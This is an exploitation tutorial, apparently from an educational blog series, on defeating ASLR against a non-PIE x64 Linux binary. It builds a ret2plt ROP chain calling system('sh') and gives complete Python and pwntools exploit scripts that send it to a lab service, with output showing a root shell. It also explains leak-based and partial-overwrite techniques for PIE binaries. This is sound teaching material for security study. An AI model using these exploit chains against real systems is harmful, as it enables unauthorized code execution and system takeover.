# Bypassing ASLR on x64 Linux

> Defeat Address Space Layout Randomization using fixed addresses in the binary when PIE is disabled.

- Published: 2025-10-09
- Difficulty: advanced
- Series: Linux Exploitation Fundamentals
- Tags: Linux, Exploit Development, ASLR, x64, ROP
- Source: https://stevenfoerster.com/tutorials/bypassing-aslr-x64/

## Prerequisites

- Understanding of ASLR and PIE
- Experience with ROP chains
- Knowledge of PLT/GOT
- pwntools familiarity

ASLR randomizes memory addresses at runtime, making exploitation more difficult. However, when PIE (Position Independent Executable) is disabled, the binary's own addresses remain fixed, providing a foothold for exploitation.

Be clear about what this tutorial does and does not do. It does not defeat ASLR in general. It sidesteps it: when the target is built without PIE, everything inside the binary (its code, its PLT/GOT, its string constants) loads at the same address every run, even though the stack, heap, and libc are still randomized. We build the entire exploit out of those fixed, in-binary pieces and never touch a randomized address. This is the easy case, and an increasingly rare one: most current distributions compile with `-fpie -pie` by default, so this foothold is gone and you need a real leak. That harder case is covered at the end, under [Handling PIE](#handling-pie). The technique here is the same ret2plt / ret2system primitive from the [return-to-libc tutorial](https://stevenfoerster.com/tutorials/return-to-libc-attack-x86/), just pointed at the binary's own imports instead of libc.

> [!note] Lab Binary
> This tutorial uses the `target` binary from the [Linux Exploitation Lab](https://gitlab.com/sfoerster/linux-tutorial-tools/) (`07-aslr-bypass/`). See the [setup guide](https://stevenfoerster.com/tutorials/linux-exploitation-lab-setup/) for build instructions.

## Understanding ASLR

ASLR randomizes:

- Stack addresses
- Heap addresses
- Library (libc) addresses
- mmap regions

Without PIE, these remain fixed:

- Binary code (.text)
- PLT/GOT sections
- Strings in the binary

```text
  Run 1                     Run 2
  +-----------------+       +-----------------+
  | Stack  0x7ffd.. | ?     | Stack  0x7fff.. | ?
  +-----------------+       +-----------------+
  | Libs   0x7f3a.. | ?     | Libs   0x7f12.. | ?
  +-----------------+       +-----------------+
  | Heap   0x5641.. | ?     | Heap   0x55b2.. | ?
  +-----------------+       +-----------------+
  | .text  0x400000 | fixed | .text  0x400000 | fixed
  | PLT    0x400500 | fixed | PLT    0x400500 | fixed
  | .rodata0x400800 | fixed | .rodata0x400800 | fixed
  +-----------------+       +-----------------+

  ASLR changes stack/libs/heap each run.
  Without PIE, .text and PLT stay put.
```

## Initial Analysis

### Verify ASLR is Active

```bash
cat /proc/sys/kernel/randomize_va_space
2   # Full ASLR enabled
```

### Finding the Offset

Generate a core dump outside GDB (addresses differ inside debugger):

```bash
ulimit -c unlimited
cat pattern.txt | ./target
# Segmentation fault (core dumped)
```

Analyze the core:

```bash
gdb -q ./target ./core
gdb-peda$ x/10gx $rsp
0x7ffc10dda218: 0x414f41413941416a      0x6c41415041416b41
```

```text
gdb-peda$ pattern offset 0x414f41413941416a
found at offset: 120
```

RIP offset is **120 bytes**.

### Examining the Binary

```text
gdb-peda$ info functions
0x0000000000400580  puts@plt
0x0000000000400590  system@plt
0x00000000004005a0  printf@plt
0x00000000004006e6  main
```

The binary imports `system()` - we can use `system@plt` directly.

## Finding Useful Addresses

### system@plt

```text
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400590 <system@plt>
```

This address is fixed regardless of ASLR.

### String in Binary

Search for useful strings:

```text
gdb-peda$ find sh
bypass_aslr : 0x40085c --> 0x65746e450a006873 ('sh')
```

The string "sh" exists at `0x40085c`. `system("sh")` works because `system()` invokes `/bin/sh -c <command>`, and `sh` is found via the PATH environment variable. This is equivalent to `system("/bin/sh")` on most systems but uses fewer bytes in the ROP chain since we only need the string `sh` rather than `/bin/sh`.

### ROP Gadget

```bash
ROPgadget --binary target --only "pop|ret" | grep rdi
0x00000000004007f3 : pop rdi ; ret
```

## Building the Exploit

### Local Testing

```python
#!/usr/bin/env python3
import sys
from struct import pack

p64 = lambda x: pack("Q", x)

pop_rdi = 0x4007f3      # pop rdi; ret
system_plt = 0x400590   # system@plt
sh_string = 0x40085c    # "sh" string

buf = b"A"*120          # Junk
buf += p64(pop_rdi)     # Load next value into RDI
buf += p64(sh_string)   # "sh" -> RDI
buf += p64(system_plt)  # system("sh")

sys.stdout.buffer.write(buf)
```

### Network Exploit

> [!note] Before running the exploit, set up the vulnerable binary as a network service. See the [Serving the Vulnerable Binary](#serving-the-vulnerable-binary) section below for socat setup.

For a network service, use pwntools' `remote()` rather than `telnetlib` (which was deprecated in Python 3.11 and removed in 3.13):

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

pop_rdi = 0x4007f3
system_plt = 0x400590
sh_string = 0x40085c

r = remote('192.168.1.100', 5556)
r.recvuntil(b'>')

payload  = b'A' * 120
payload += p64(pop_rdi)
payload += p64(sh_string)
payload += p64(system_plt)

r.sendline(payload)
r.interactive()
```

### Execution

```bash
python3 exploit.py

#### Yet another exploitation challenge ####

Hope for a crash
Enter something:
>
[*] Sending payload
[*] Got shell. Enter commands.
 Input Updated !
id
uid=0(root) gid=0(root) groups=0(root)
```

## Serving the Vulnerable Binary

For testing, serve the binary with socat:

```bash
socat tcp-listen:5556,reuseaddr,fork exec:"./target"
```

## Why This Works

ASLR is a per-process defense: the kernel picks fresh base addresses for the stack, the heap, libc, and other mapped regions each time the program starts. What it never touches, when PIE is off, is the binary's own load address. The `.text`, PLT/GOT, and `.rodata` of a non-PIE executable are linked to fixed virtual addresses (traditionally starting at `0x400000` on x64), and the loader honors them verbatim.

That is the whole trick. Every ingredient of this exploit lives inside the binary and therefore never moves:

- `system@plt`, called through the fixed PLT stub, so we never need libc's randomized base
- the `sh` string constant in `.rodata`
- the `pop rdi ; ret` gadget in `.text`

Because none of these depend on a randomized region, the same three addresses work on every run. We avoided needing a random value instead of predicting one.

## Alternative: Using Binary's Own /bin/sh

If the binary contains `/bin/sh`:

```text
gdb-peda$ find /bin/sh
bypass : 0x400abc --> 0x68732f6e69622f ('/bin/sh')
```

Use this instead of "sh" for a more standard shell.

## Handling PIE

Everything above assumed the binary was built without PIE. On a modern distribution that assumption fails: the binary itself is randomized alongside the stack, heap, and libc, so there are no longer any fixed addresses to hard-code. Now you have to earn an address at runtime. There are three ways in, in rough order of how often they apply:

### Information leak (the real bypass)

This is the technique worth learning, because it generalizes. ASLR randomizes the *base* of each region but not the *layout* within it: once a binary is loaded, the distance from its base to any function, gadget, or string is a constant you can read off the ELF ahead of time. So you do not need to guess an address, you need to learn one, and then do arithmetic.

The shape of a leak-based exploit is:

1. Use a bug (a format string, an out-of-bounds read, an uninitialized pointer printed back to you) to disclose one address that lives in a region you care about, for example a saved return address on the stack (which points into the binary's `.text`) or a libc function pointer in the GOT.
2. Subtract that value's known offset within its region to recover the region's base:
   `binary_base = leaked_ret - offset_of(leaked_ret)`, or `libc_base = leaked_puts - libc.symbols['puts']`.
3. Add the (now known) offsets to locate every gadget and function you need, rebuilding the same ROP chain you would have written in the no-PIE case:
   `pop_rdi = binary_base + POP_RDI_OFFSET`.

pwntools makes step 3 mechanical: set `elf.address = binary_base` (or `libc.address = libc_base`) and every symbol and `ROP(elf)` gadget it hands you is already rebased. The hard part is always step 1, finding a bug that leaks. A single reliable leak turns the PIE case back into the fixed-address case you just solved.

### Partial overwrite

ASLR randomizes the high-order bits of an address but leaves the low bits fixed. Because each image loads at a page-aligned base, the low 12 bits of any address are simply its offset within the mapping, and that offset does not change between runs. Those low bits are therefore known to you even while the base is random. If the code you want to reach sits close enough to the address already stored at your target that only the lowest byte or two differ, you can overwrite just those low bytes with the known values and leave the randomized high bytes in place. Execution redirects a short distance without your ever learning the base. This sidesteps the need for a leak entirely, but only reaches code within the span those overwritten bytes cover (and if the overwrite spills into randomized bits, you trade certainty for a small brute force).

### Brute force

On 32-bit systems the entropy is small enough (often only 8 to 16 bits for some regions) that repeatedly crashing and retrying a forking service will eventually hit the right address. On 64-bit this is impractical; the entropy is too high. Treat it as a last resort for constrained 32-bit targets, not a general method.

## Pwntools Version

```python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./target')
rop = ROP(elf)

# Connect
p = remote('192.168.1.100', 5556)

# Build ROP chain
rop.call('system', [next(elf.search(b'sh\x00'))])

# Create payload
payload = b'A' * 120
payload += rop.chain()

# Send
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()
```
